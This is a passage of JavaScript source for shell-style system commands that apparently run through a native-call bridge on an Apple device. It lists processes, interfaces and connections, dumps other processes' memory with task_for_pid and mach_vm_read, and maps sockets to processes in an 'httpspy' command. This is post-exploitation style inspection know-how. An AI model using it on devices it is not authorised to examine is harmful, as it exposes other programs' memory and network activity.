{ code: 0, out: sysname + \" \" + nodename + \" \" + release + \" \" + version + \" \" + machine + \"\\n\", err: \"\" };\n\t\treturn { code: 0, out: sysname + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", uts); }\n}\n\nfunction _cmdHostname() {\n\tvar buf = Native.callSymbol(\"malloc\", 256);\n\tif (!buf || buf === 0n) return { code: 1, out: \"\", err: \"hostname: failed\\n\" };\n\ttry {\n\t\tvar r = Number(Native.callSymbol(\"gethostname\", buf, 255));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"hostname: failed\\n\" };\n\t\treturn { code: 0, out: Native.readString(buf, 256).replace(/\\0/g, \"\") + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", buf); }\n}\n\nfunction _cmdDf(args) {\n\tvar human = false;\n\tfor (var i = 1; i < args.length; i++) if (args[i] === \"-h\") human = true;\n\tvar sb = Native.callSymbol(\"calloc\", 1, 4096);\n\tif (!sb || sb === 0n) return { code: 1, out: \"\", err: \"df: failed\\n\" };\n\ttry {\n\t\tvar r = Number(Native.callSymbol(\"statfs\", \"/\", sb));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"df: statfs failed\\n\" };\n\t\tvar bsRaw = new DataView(Native.read(BigInt(sb), 4));\n\t\tvar bsize = bsRaw.getUint32(0, true);\n\t\tvar blocks = Number(Native.readPtr(BigInt(sb) + 8n));\n\t\tvar bfree = Number(Native.readPtr(BigInt(sb) + 16n));\n\t\tvar bavail = Number(Native.readPtr(BigInt(sb) + 24n));\n\t\tvar total = blocks * bsize, free = bfree * bsize;\n\t\tvar used = total - free, avail = bavail * bsize;\n\t\tvar pct = total > 0 ? Math.round(used * 100 / total) : 0;\n\t\tvar out = \"Filesystem\\tSize\\tUsed\\tAvail\\tUse%\\tMounted on\\n\";\n\t\tif (human) {\n\t\t\tout += \"/dev/disk0s1\\t\" + _fmtSizeH(total) + \"\\t\" + _fmtSizeH(used) + \"\\t\" + _fmtSizeH(avail) + \"\\t\" + pct + \"%\\t/\\n\";\n\t\t} else {\n\t\t\tout += \"/dev/disk0s1\\t\" + (total/1024|0) + \"\\t\" + (used/1024|0) + \"\\t\" + (avail/1024|0) + \"\\t\" + pct + \"%\\t/\\n\";\n\t\t}\n\t\treturn { code: 0, out: out, err: \"\" };\n\t} finally { Native.callSymbol(\"free\", sb); }\n}\n\nfunction _cmdDate() {\n\tvar now = new Date();\n\treturn { code: 0, out: now.toISOString().replace(\"T\", \" \").replace(\"Z\", \" UTC\") + \"\\n\", err: \"\" };\n}\n\nfunction _cmdEcho(args) {\n\treturn { code: 0, out: args.slice(1).join(\" \") + \"\\n\", err: \"\" };\n}\n\n// ---- Process Commands ----\n\nfunction _cmdPs(args) {\n\tvar pidBufSize = 4 * 8192;\n\tvar pidBuf = Native.callSymbol(\"malloc\", BigInt(pidBufSize));\n\tif (!pidBuf || pidBuf === 0n) return { code: 1, out: \"\", err: \"ps: malloc failed\\n\" };\n\n\tvar count = Number(Native.callSymbol(\"proc_listallpids\", pidBuf, pidBufSize));\n\tif (count <= 0) {\n\t\tNative.callSymbol(\"free\", pidBuf);\n\t\treturn { code: 1, out: \"\", err: \"ps: proc_listallpids failed\\n\" };\n\t}\n\tif (count > 8192) count = 8192;\n\n\tvar pids = [];\n\tfor (var i = 0; i < count; i++) {\n\t\tvar pid = Native.read32(BigInt(pidBuf) + BigInt(i * 4));\n\t\tif (pid > 0) pids.push(pid);\n\t}\n\tNative.callSymbol(\"free\", pidBuf);\n\tpids.sort(function(a, b) { return a - b; });\n\n\tvar nameBuf = Native.callSymbol(\"malloc\", 256);\n\tif (!nameBuf || nameBuf === 0n) return { code: 1, out: \"\", err: \"ps: malloc failed\\n\" };\n\n\tvar out = \" PID\\tNAME\\n\";\n\tfor (var pi = 0; pi < pids.length; pi++) {\n\t\ttry {\n\t\t\tNative.callSymbol(\"memset\", nameBuf, 0, 256);\n\t\t\tvar nameLen = Number(Native.callSymbol(\"proc_name\", pids[pi], nameBuf, 255));\n\t\t\tvar name = nameLen > 0 ? Native.readString(BigInt(nameBuf), 255) : \"?\";\n\t\t\tout += \" \" + pids[pi] + \"\\t\" + name + \"\\n\";\n\t\t} catch (procErr) {\n\t\t\tout += \" \" + pids[pi] + \"\\t(error)\\n\";\n\t\t}\n\t}\n\tNative.callSymbol(\"free\", nameBuf);\n\tout += \"\\nTotal: \" + pids.length + \" processes\\n\";\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdMemdump(args) {\n\tif (args.length < 4) return { code: 1, out: \"\", err: \"memdump: usage: memdump \\n Address in hex (0x...). Max dump display 4KB, max read 1MB.\\n\" };\n\n\tvar pid = parseInt(args[1]);\n\tvar addrStr = args[2];\n\tvar address = (addrStr.indexOf(\"0x\") === 0 || addrStr.indexOf(\"0X\") === 0)\n\t\t? parseInt(addrStr, 16) : parseInt(addrStr);\n\tvar size = parseInt(args[3]);\n\n\tif (isNaN(pid) || pid <= 0) return { code: 1, out: \"\", err: \"memdump: invalid pid\\n\" };\n\tif (isNaN(address)) return { code: 1, out: \"\", err: \"memdump: invalid address\\n\" };\n\tif (isNaN(size) || size <= 0) return { code: 1, out: \"\", err: \"memdump: invalid size\\n\" };\n\tif (size > 1024 * 1024) return { code: 1, out: \"\", err: \"memdump: size too large (max 1MB)\\n\" };\n\n\tvar selfPortAddr = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"mach_task_self_\");\n\tif (!selfPortAddr || selfPortAddr === 0n) return { code: 1, out: \"\", err: \"memdump: cannot resolve mach_task_self_\\n\" };\n\tvar selfPort = Native.read32(BigInt(selfPortAddr));\n\n\tvar taskPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!taskPtr || taskPtr === 0n) return { code: 1, out: \"\", err: \"memdump: malloc failed\\n\" };\n\n\tvar kr = Number(Native.callSymbol(\"task_for_pid\", selfPort, pid, taskPtr));\n\tif (kr !== 0) {\n\t\tNative.callSymbol(\"free\", taskPtr);\n\t\treturn { code: 1, out: \"\", err: \"memdump: task_for_pid failed (kern_return=\" + kr + \")\\n\" };\n\t}\n\tvar task = Native.read32(BigInt(taskPtr));\n\tNative.callSymbol(\"free\", taskPtr);\n\n\tvar dataOutPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar cntOutPtr = Native.callSymbol(\"calloc\", 1, 4);\n\tif (!dataOutPtr || dataOutPtr === 0n || !cntOutPtr || cntOutPtr === 0n) {\n\t\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\t\tif (dataOutPtr) Native.callSymbol(\"free\", dataOutPtr);\n\t\tif (cntOutPtr) Native.callSymbol(\"free\", cntOutPtr);\n\t\treturn { code: 1, out: \"\", err: \"memdump: malloc failed\\n\" };\n\t}\n\n\tkr = Number(Native.callSymbol(\"mach_vm_read\", task, BigInt(address), BigInt(size), dataOutPtr, cntOutPtr));\n\tif (kr !== 0) {\n\t\tNative.callSymbol(\"free\", dataOutPtr);\n\t\tNative.callSymbol(\"free\", cntOutPtr);\n\t\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\t\treturn { code: 1, out: \"\", err: \"memdump: mach_vm_read failed (kern_return=\" + kr + \")\\n\" };\n\t}\n\n\tvar dataAddr = Native.readPtr(BigInt(dataOutPtr));\n\tvar dataCnt = _readU32(BigInt(cntOutPtr), 0);\n\tNative.callSymbol(\"free\", dataOutPtr);\n\tNative.callSymbol(\"free\", cntOutPtr);\n\n\tvar readSize = dataCnt < size ? dataCnt : size;\n\tvar bytes = new Uint8Array(Native.read(dataAddr, readSize));\n\n\tNative.callSymbol(\"mach_vm_deallocate\", selfPort, dataAddr, BigInt(dataCnt));\n\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\n\tvar maxShow = readSize > 4096 ? 4096 : readSize;\n\tvar out = \"\";\n\tfor (var i = 0; i < maxShow; i += 16) {\n\t\tvar a = (address + i).toString(16);\n\t\twhile (a.length < 8) a = \"0\" + a;\n\t\tvar hex = \"\", ascii = \"\";\n\t\tfor (var j = 0; j < 16; j++) {\n\t\t\tif (i + j < maxShow) {\n\t\t\t\tvar hx = bytes[i + j].toString(16);\n\t\t\t\thex += (hx.length < 2 ? \"0\" + hx : hx) + \" \";\n\t\t\t\tascii += (bytes[i + j] >= 32 && bytes[i + j] < 127) ? String.fromCharCode(bytes[i + j]) : \".\";\n\t\t\t} else { hex += \" \"; }\n\t\t\tif (j === 7) hex += \" \";\n\t\t}\n\t\tout += a + \" \" + hex + \" |\" + ascii + \"|\\n\";\n\t}\n\tif (readSize > maxShow) out += \"\\n... truncated (read \" + readSize + \" bytes, showing \" + maxShow + \")\\n\";\n\tout += \"\\n\" + readSize + \" bytes read from pid \" + pid + \" at 0x\" + address.toString(16) + \"\\n\";\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Network Commands ----\n\nfunction _cmdIfconfig(args) {\n\tvar ifapPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!ifapPtr || ifapPtr === 0n) return { code: 1, out: \"\", err: \"ifconfig: malloc failed\\n\" };\n\n\tvar r = Number(Native.callSymbol(\"getifaddrs\", ifapPtr));\n\tif (r !== 0) {\n\t\tNative.callSymbol(\"free\", ifapPtr);\n\t\treturn { code: 1, out: \"\", err: \"ifconfig: getifaddrs failed\\n\" };\n\t}\n\n\tvar ifaHead = Native.readPtr(BigInt(ifapPtr));\n\tNative.callSymbol(\"free\", ifapPtr);\n\tif (!ifaHead || ifaHead === 0n) return { code: 0, out: \"(no interfaces)\\n\", err: \"\" };\n\n\tvar ifMap = {};\n\tvar ifOrder = [];\n\tvar ifa = ifaHead;\n\tvar maxIter = 1024;\n\n\twhile (ifa && ifa !== 0n && maxIter-- > 0) {\n\t\ttry {\n\t\t\tvar namePtr = Native.readPtr(ifa + 8n);\n\t\t\tvar name = (namePtr && namePtr !== 0n) ? Native.readString(namePtr, 32) : \"?\";\n\t\t\tvar flags = _readU32(ifa, 16);\n\t\t\tvar addrPtr = Native.readPtr(ifa + 24n);\n\n\t\t\tif (!ifMap[name]) {\n\t\t\t\tifMap[name] = { flags: flags, addrs: [], mtu: 0 };\n\t\t\t\tifOrder.push(name);\n\t\t\t}\n\n\t\t\tif (addrPtr && addrPtr !== 0n) {\n\t\t\t\tvar family = _readU8(addrPtr, 1);\n\n\t\t\t\tif (family === 2) {\n\t\t\t\t\tvar ab = new Uint8Array(Native.read(addrPtr + 4n, 4));\n\t\t\t\t\tvar ip = ab[0] + \".\" + ab[1] + \".\" + ab[2] + \".\" + ab[3];\n\t\t\t\t\tvar entry = { type: \"inet\", addr: ip };\n\t\t\t\t\tvar maskPtr = Native.readPtr(ifa + 32n);\n\t\t\t\t\tif (maskPtr && maskPtr !== 0n) {\n\t\t\t\t\t\tvar mb = new Uint8Array(Native.read(maskPtr + 4n, 4));\n\t\t\t\t\t\tentry.mask = mb[0] + \".\" + mb[1] + \".\" + mb[2] + \".\" + mb[3];\n\t\t\t\t\t}\n\t\t\t\t\tifMap[name].addrs.push(entry);\n\t\t\t\t} else if (family === 30) {\n\t\t\t\t\tvar a6 = new Uint8Array(Native.read(addrPtr + 8n, 16));\n\t\t\t\t\tvar v6 = \"\";\n\t\t\t\t\tfor (var k = 0; k < 16; k += 2) {\n\t\t\t\t\t\tif (k > 0) v6 += \":\";\n\t\t\t\t\t\tv6 += ((a6[k] << 8) | a6[k + 1]).toString(16);\n\t\t\t\t\t}\n\t\t\t\t\tifMap[name].addrs.push({ type: \"inet6\", addr: v6 });\n\t\t\t\t} else if (family === 18) {\n\t\t\t\t\tvar dataPtr = Native.readPtr(ifa + 48n);\n\t\t\t\t\tif (dataPtr && dataPtr !== 0n) {\n\t\t\t\t\t\tifMap[name].mtu = _readU32(dataPtr, 8);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (iterErr) { /* skip this entry on error */ }\n\n\t\tifa = Native.readPtr(ifa);\n\t}\n\n\tNative.callSymbol(\"freeifaddrs\", ifaHead);\n\n\tvar out = \"\";\n\tfor (var oi = 0; oi < ifOrder.length; oi++) {\n\t\tvar n = ifOrder[oi];\n\t\tvar inf = ifMap[n];\n\t\tvar fl = [];\n\t\tif (inf.flags & 0x1) fl.push(\"UP\");\n\t\tif (inf.flags & 0x2) fl.push(\"BROADCAST\");\n\t\tif (inf.flags & 0x8) fl.push(\"LOOPBACK\");\n\t\tif (inf.flags & 0x10) fl.push(\"POINTOPOINT\");\n\t\tif (inf.flags & 0x40) fl.push(\"RUNNING\");\n\t\tif (inf.flags & 0x8000) fl.push(\"MULTICAST\");\n\t\tout += n + \": flags=0x\" + inf.flags.toString(16) + \" <\" + fl.join(\",\") + \">\";\n\t\tif (inf.mtu > 0) out += \" mtu \" + inf.mtu;\n\t\tout += \"\\n\";\n\t\tfor (var ai = 0; ai < inf.addrs.length; ai++) {\n\t\t\tvar ad = inf.addrs[ai];\n\t\t\tif (ad.type === \"inet\") {\n\t\t\t\tout += \"\\tinet \" + ad.addr;\n\t\t\t\tif (ad.mask) out += \" netmask \" + ad.mask;\n\t\t\t\tout += \"\\n\";\n\t\t\t} else if (ad.type === \"inet6\") {\n\t\t\t\tout += \"\\tinet6 \" + ad.addr + \"\\n\";\n\t\t\t}\n\t\t}\n\t}\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdNetstats(args) {\n\tvar ifapPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!ifapPtr || ifapPtr === 0n) return { code: 1, out: \"\", err: \"netstats: malloc failed\\n\" };\n\n\tvar r = Number(Native.callSymbol(\"getifaddrs\", ifapPtr));\n\tif (r !== 0) {\n\t\tNative.callSymbol(\"free\", ifapPtr);\n\t\treturn { code: 1, out: \"\", err: \"netstats: getifaddrs failed\\n\" };\n\t}\n\n\tvar ifaHead = Native.readPtr(BigInt(ifapPtr));\n\tNative.callSymbol(\"free\", ifapPtr);\n\tif (!ifaHead || ifaHead === 0n) return { code: 0, out: \"(no interfaces)\\n\", err: \"\" };\n\n\tvar stats = {};\n\tvar order = [];\n\tvar ifa = ifaHead;\n\tvar maxIter = 1024;\n\n\twhile (ifa && ifa !== 0n && maxIter-- > 0) {\n\t\ttry {\n\t\t\tvar namePtr = Native.readPtr(ifa + 8n);\n\t\t\tvar name = (namePtr && namePtr !== 0n) ? Native.readString(namePtr, 32) : \"?\";\n\t\t\tvar addrPtr = Native.readPtr(ifa + 24n);\n\n\t\t\tif (addrPtr && addrPtr !== 0n) {\n\t\t\t\tvar family = _readU8(addrPtr, 1);\n\t\t\t\tif (family === 18) {\n\t\t\t\t\tvar dataPtr = Native.readPtr(ifa + 48n);\n\t\t\t\t\tif (dataPtr && dataPtr !== 0n) {\n\t\t\t\t\t\tif (!stats[name]) order.push(name);\n\t\t\t\t\t\tstats[name] = {\n\t\t\t\t\t\t\tmtu: _readU32(dataPtr, 8),\n\t\t\t\t\t\t\tipackets: _readU32(dataPtr, 20),\n\t\t\t\t\t\t\tierrors: _readU32(dataPtr, 24),\n\t\t\t\t\t\t\topackets: _readU32(dataPtr, 28),\n\t\t\t\t\t\t\toerrors: _readU32(dataPtr, 32),\n\t\t\t\t\t\t\tcollisions: _readU32(dataPtr, 36),\n\t\t\t\t\t\t\tibytes: _readU32(dataPtr, 40),\n\t\t\t\t\t\t\tobytes: _readU32(dataPtr, 44)\n\t\t\t\t\t\t};\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (iterErr) { /* skip on error */ }\n\n\t\tifa = Native.readPtr(ifa);\n\t}\n\n\tNative.callSymbol(\"freeifaddrs\", ifaHead);\n\n\tvar out = \"Interface\\tRX bytes\\tTX bytes\\tRX pkts\\t\\tTX pkts\\t\\tRX err\\tTX err\\n\";\n\tvar totalRx = 0, totalTx = 0;\n\tfor (var si = 0; si < order.length; si++) {\n\t\tvar sn = order[si];\n\t\tvar s = stats[sn];\n\t\tout += sn + \"\\t\\t\" + _fmtSizeH(s.ibytes) + \"\\t\\t\" + _fmtSizeH(s.obytes)\n\t\t\t+ \"\\t\\t\" + s.ipackets + \"\\t\\t\" + s.opackets\n\t\t\t+ \"\\t\\t\" + s.ierrors + \"\\t\" + s.oerrors + \"\\n\";\n\t\ttotalRx += s.ibytes;\n\t\ttotalTx += s.obytes;\n\t}\n\tout += \"\\nTotal RX: \" + _fmtSizeH(totalRx) + \" TX: \" + _fmtSizeH(totalTx) + \"\\n\";\n\n\tout += \"\\nNetwork type summary:\\n\";\n\tfor (var ni = 0; ni < order.length; ni++) {\n\t\tvar nn = order[ni];\n\t\tvar ns = stats[nn];\n\t\tif (ns.ibytes === 0 && ns.obytes === 0) continue;\n\t\tvar netType = \"other\";\n\t\tif (nn === \"en0\") netType = \"WiFi\";\n\t\telse if (nn === \"lo0\") netType = \"Loopback\";\n\t\telse if (nn.indexOf(\"pdp_ip\") === 0) netType = \"Cellular\";\n\t\telse if (nn.indexOf(\"utun\") === 0) netType = \"VPN/Tunnel\";\n\t\telse if (nn.indexOf(\"ipsec\") === 0) netType = \"IPSec\";\n\t\telse if (nn.indexOf(\"en\") === 0) netType = \"Ethernet\";\n\t\telse if (nn.indexOf(\"awdl\") === 0) netType = \"AWDL (AirDrop)\";\n\t\tout += \" \" + nn + \" (\" + netType + \"): RX \" + _fmtSizeH(ns.ibytes) + \" / TX \" + _fmtSizeH(ns.obytes) + \"\\n\";\n\t}\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Network Connection Commands ----\n\nfunction _fmtIPv6Short(data, off) {\n\tvar parts = [];\n\tfor (var i = 0; i < 16; i += 2) {\n\t\tparts.push(((data[off + i] << 8) | data[off + i + 1]).toString(16));\n\t}\n\treturn parts.join(\":\");\n}\n\nfunction _getSysctlPcbList(name) {\n\tvar sizePtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!sizePtr || sizePtr === 0n) return null;\n\n\tvar rc = Number(Native.callSymbol(\"sysctlbyname\", name, 0, sizePtr, 0, 0));\n\tif (rc !== 0) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tvar dataSize = Number(Native.readPtr(BigInt(sizePtr)));\n\tif (dataSize <= 0 || dataSize > 10 * 1024 * 1024) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tvar allocSize = dataSize + 4096;\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(allocSize));\n\tif (!dataBuf || dataBuf === 0n) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tNative.write64(sizePtr, BigInt(allocSize));\n\trc = Number(Native.callSymbol(\"sysctlbyname\", name, dataBuf, sizePtr, 0, 0));\n\tvar actualSize = Number(Native.readPtr(BigInt(sizePtr)));\n\tNative.callSymbol(\"free\", sizePtr);\n\n\tif (rc !== 0) { Native.callSymbol(\"free\", dataBuf); return null; }\n\treturn { buf: dataBuf, size: actualSize };\n}\n\nfunction _parseConnections(dataBuf, dataSize, isTcp) {\n\tvar XSO_INPCB = 0x010, XSO_TCPCB = 0x020;\n\tvar conns = [];\n\n\tif (dataSize < 24) return conns;\n\tvar headerLen = _readU32(dataBuf, 0);\n\tif (headerLen < 16 || headerLen > 256) return conns;\n\n\tvar off = headerLen;\n\tvar cur = null;\n\tvar maxIter = 50000;\n\n\twhile (off + 8 <= dataSize && maxIter-- > 0) {\n\t\tvar eLen = _readU32(dataBuf, off);\n\t\tvar eKind = _readU32(dataBuf, off + 4);\n\t\tif (eLen < 8 || eLen > 8192 || off + eLen > dataSize) break;\n\n\t\ttry {\n\t\t\tif (isTcp && eKind === XSO_TCPCB) {\n\t\t\t\tif (cur) conns.push(cur);\n\t\t\t\tcur = { state: -1, laddr: \"\", faddr: \"\", lport: 0, fport: 0, vflag: 0 };\n\t\t\t\tif (eLen >= 40) cur.state = _readU32(dataBuf, off + 36);\n\t\t\t} else if (eKind === XSO_INPCB) {\n\t\t\t\tif (!isTcp) {\n\t\t\t\t\tif (cur) conns.push(cur);\n\t\t\t\t\tcur = { state: -1, laddr: \"\", faddr: \"\", lport: 0, fport: 0, vflag: 0 };\n\t\t\t\t}\n\t\t\t\tif (cur && eLen >= 84) {\n\t\t\t\t\tcur.fport = (_readU8(dataBuf, off + 16) << 8) | _readU8(dataBuf, off + 17);\n\t\t\t\t\tcur.lport = (_readU8(dataBuf, off + 18) << 8) | _readU8(dataBuf, off + 19);\n\t\t\t\t\tcur.vflag = _readU8(dataBuf, off + 48);\n\n\t\t\t\t\tif (cur.vflag & 1) {\n\t\t\t\t\t\tvar la = new Uint8Array(Native.read(dataBuf + BigInt(off + 64), 4));\n\t\t\t\t\t\tvar fa = new Uint8Array(Native.read(dataBuf + BigInt(off + 80), 4));\n\t\t\t\t\t\tcur.laddr = la[0] + \".\" + la[1] + \".\" + la[2] + \".\" + la[3];\n\t\t\t\t\t\tcur.faddr = fa[0] + \".\" + fa[1] + \".\" + fa[2] + \".\" + fa[3];\n\t\t\t\t\t} else if (cur.vflag & 2) {\n\t\t\t\t\t\tvar la6 = new Uint8Array(Native.read(dataBuf + BigInt(off + 52), 16));\n\t\t\t\t\t\tvar fa6 = new Uint8Array(Native.read(dataBuf + BigInt(off + 68), 16));\n\t\t\t\t\t\tcur.laddr = _fmtIPv6Short(la6, 0);\n\t\t\t\t\t\tcur.faddr = _fmtIPv6Short(fa6, 0);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (parseErr) { /* skip malformed entry */ }\n\n\t\toff += eLen;\n\t}\n\tif (cur) conns.push(cur);\n\treturn conns;\n}\n\nfunction _cmdConnections(args) {\n\tvar showTcp = true, showUdp = true, showListen = false, showAll = false;\n\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-t\") { showTcp = true; showUdp = false; }\n\t\telse if (args[i] === \"-u\") { showTcp = false; showUdp = true; }\n\t\telse if (args[i] === \"-a\") showAll = true;\n\t\telse if (args[i] === \"-l\") showListen = true;\n\t\telse if (args[i] === \"-h\" || args[i] === \"--help\") {\n\t\t\treturn { code: 0, out:\n\t\t\t\t\"Usage: connections [-t] [-u] [-a] [-l]\\n\" +\n\t\t\t\t\" -t Show TCP connections only\\n\" +\n\t\t\t\t\" -u Show UDP sockets only\\n\" +\n\t\t\t\t\" -a Show all (including LISTEN, TIME_WAIT, CLOSED)\\n\" +\n\t\t\t\t\" -l Show only LISTEN sockets\\n\" +\n\t\t\t\t\" Default: show TCP+UDP, hide LISTEN/TIME_WAIT/CLOSED\\n\", err: \"\" };\n\t\t}\n\t}\n\n\tvar tcpStates = [\"CLOSED\", \"LISTEN\", \"SYN_SENT\", \"SYN_RCVD\", \"ESTABLISHED\",\n\t\t\"CLOSE_WAIT\", \"FIN_WAIT_1\", \"CLOSING\", \"LAST_ACK\", \"FIN_WAIT_2\", \"TIME_WAIT\"];\n\n\tvar out = \"Proto Local Address Foreign Address State\\n\";\n\tout += \"----- ------------------------- ------------------------- -----------\\n\";\n\tvar total = 0;\n\n\tif (showTcp) {\n\t\tvar tcpData = _getSysctlPcbList(\"net.inet.tcp.pcblist_n\");\n\t\tif (tcpData) {\n\t\t\tvar tcpConns = _parseConnections(tcpData.buf, tcpData.size, true);\n\t\t\tNative.callSymbol(\"free\", tcpData.buf);\n\n\t\t\tfor (var ci = 0; ci < tcpConns.length; ci++) {\n\t\t\t\tvar c = tcpConns[ci];\n\t\t\t\tvar st = (c.state >= 0 && c.state < tcpStates.length) ? tcpStates[c.state] : \"?\" + c.state;\n\n\t\t\t\tif (!showAll) {\n\t\t\t\t\tif (showListen && st !== \"LISTEN\") continue;\n\t\t\t\t\tif (!showListen && (st === \"TIME_WAIT\" || st === \"CLOSED\" || st === \"LISTEN\")) continue;\n\t\t\t\t}\n\n\t\t\t\tvar p = (c.vflag & 2) ? \"tcp6 \" : \"tcp4 \";\n\t\t\t\tvar ls = c.laddr + \":\" + c.lport;\n\t\t\t\tvar fs = c.faddr + \":\" + c.fport;\n\t\t\t\twhile (ls.length < 28) ls += \" \";\n\t\t\t\twhile (fs.length < 28) fs += \" \";\n\t\t\t\tout += p + ls + fs + st + \"\\n\";\n\t\t\t\ttotal++;\n\t\t\t}\n\t\t} else {\n\t\t\tout += \"(tcp: sysctl net.inet.tcp.pcblist_n failed)\\n\";\n\t\t}\n\t}\n\n\tif (showUdp) {\n\t\tvar udpData = _getSysctlPcbList(\"net.inet.udp.pcblist_n\");\n\t\tif (udpData) {\n\t\t\tvar udpConns = _parseConnections(udpData.buf, udpData.size, false);\n\t\t\tNative.callSymbol(\"free\", udpData.buf);\n\n\t\t\tfor (var ci = 0; ci < udpConns.length; ci++) {\n\t\t\t\tvar c = udpConns[ci];\n\t\t\t\tif (!showAll && c.lport === 0 && c.fport === 0) continue;\n\n\t\t\t\tvar p = (c.vflag & 2) ? \"udp6 \" : \"udp4 \";\n\t\t\t\tvar ls = c.laddr + \":\" + c.lport;\n\t\t\t\tvar fs = c.faddr + \":\" + c.fport;\n\t\t\t\twhile (ls.length < 28) ls += \" \";\n\t\t\t\twhile (fs.length < 28) fs += \" \";\n\t\t\t\tout += p + ls + fs + \"\\n\";\n\t\t\t\ttotal++;\n\t\t\t}\n\t\t} else {\n\t\t\tout += \"(udp: sysctl net.inet.udp.pcblist_n failed)\\n\";\n\t\t}\n\t}\n\n\tout += \"\\nTotal: \" + total + \" connections\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Process Network Spy ----\n\nfunction _cmdHttpspy(args) {\n\tvar showAll = false;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-a\") showAll = true;\n\t\telse if (args[i] === \"-h\" || args[i] === \"--help\") {\n\t\t\treturn { code: 0, out:\n\t\t\t\t\"Usage: httpspy [-a]\\n\" +\n\t\t\t\t\" Maps active network connections to owning processes\\n\" +\n\t\t\t\t\" Default: show only HTTP (80) / HTTPS (443) connections\\n\" +\n\t\t\t\t\" -a Show ALL network connections per process\\n\", err: \"\" };\n\t\t}\n\t}\n\n\tvar pidBufSize = 4 * 8192;\n\tvar pidBuf = Native.callSymbol(\"malloc\", BigInt(pidBufSize));\n\tif (!pidBuf || pidBuf === 0n) return { code: 1, out: \"\", err: \"httpspy: malloc failed\\n\" };\n\n\tvar count = Number(Native.callSymbol(\"proc_listallpids\", pidBuf, pidBufSize));\n\tif (count <= 0) { Native.callSymbol(\"free\", pidBuf); return { code: 1, out: \"\", err: \"httpspy: proc_listallpids failed\\n\" }; }\n\tif (count > 8192) count = 8192;\n\n\tvar pids = [];\n\tfor (var i = 0; i < count; i++) {\n\t\tvar pid = Native.read32(BigInt(pidBuf) + BigInt(i * 4));\n\t\tif (pid > 0) pids.push(pid);\n\t}\n\tNative.callSymbol(\"free\", pidBuf);\n\n\tvar fdInfoSize = 8;\n\tvar fdBuf = Native.callSymbol(\"malloc\", BigInt(fdInfoSize * 2048));\n\tvar sockBuf = Native.callSymbol(\"malloc\", 4096);\n\tvar nameBuf = Native.callSymbol(\"malloc\", 256);\n\tif (!fdBuf || fdBuf === 0n || !sockBuf || sockBuf === 0n || !nameBuf || nameBuf === 0n) {\n\t\tif (fdBuf && fdBuf !== 0n) Native.callSymbol(\"free\", fdBuf);\n\t\tif (sockBuf && sockBuf !== 0n) Native.callSymbol(\"free\", sockBuf);\n\t\tif (nameBuf && nameBuf !== 0n) Native.callSymbol(\"free\", nameBuf);\n\t\treturn { code: 1, out: \"\", err: \"httpspy: malloc failed\\n\" };\n\t}\n\n\tvar OFF_SOI_TYPE = 176;\n\tvar OFF_SOI_PROTO = 180;\n\tvar OFF_SOI_FAMILY = 184;\n\tvar OFF_INI_FPORT = 264;\n\tvar OFF_INI_LPORT = 268;\n\tvar OFF_INI_VFLAG = 288;\n\tvar OFF_INI_FADDR4 = 308;\n\tvar OFF_INI_LADDR4 = 324;\n\tvar OFF_INI_FADDR6 = 296;\n\tvar OFF_INI_LADDR6 = 312;\n\tvar OFF_TCP_STATE = 360;\n\tvar MIN_SI_SIZE = 364;\n\n\tvar tcpStates = [\"CLOSED\", \"LISTEN\", \"SYN_SENT\", \"SYN_RCVD\", \"ESTABLISHED\",\n\t\t\"CLOSE_WAIT\", \"FIN_WAIT_1\", \"CLOSING\", \"LAST_ACK\", \"FIN_WAIT_2\", \"TIME_WAIT\"];\n\tvar results = [];\n\n\tfor (var pi = 0; pi < pids.length; pi++) {\n\t\tvar pid = pids[pi];\n\t\tvar fdBytes = Number(Native.callSymbol(\"proc_pidinfo\", pid, 1, 0, fdBuf, fdInfoSize * 2048));\n\t\tif (fdBytes <= 0) continue;\n\t\tvar fdCount = Math.floor(fdBytes / fdInfoSize);\n\t\tvar procName = null;\n\n\t\tfor (var fi = 0; fi < fdCount && fi < 2048; fi++) {\n\t\t\ttry {\n\t\t\t\tvar fd = _readU32(fdBuf, fi * 8);\n\t\t\t\tvar fdtype = _readU32(fdBuf, fi * 8 + 4);\n\t\t\t\tif (fdtype !== 2) continue;\n\n\t\t\t\tNative.callSymbol(\"memset\", sockBuf, 0, 4096);\n\t\t\t\tvar infoBytes = Number(Native.callSymbol(\"proc_pidfdinfo\", pid, fd, 3, sockBuf, 4096));\n\t\t\t\tif (infoBytes < MIN_SI_SIZE) continue;\n\n\t\t\t\tvar family = _readU32(sockBuf, OFF_SOI_FAMILY);\n\t\t\t\tvar protocol = _readU32(sockBuf, OFF_SOI_PROTO);\n\t\t\t\tif (family !== 2 && family !== 30) continue;\n\t\t\t\tif (protocol !== 6 && protocol !== 17) continue;\n\n\t\t\t\tvar fport = (_readU8(sockBuf, OFF_INI_FPORT) << 8) | _readU8(sockBuf, OFF_INI_FPORT + 1);\n\t\t\t\tvar lport = (_readU8(sockBuf, 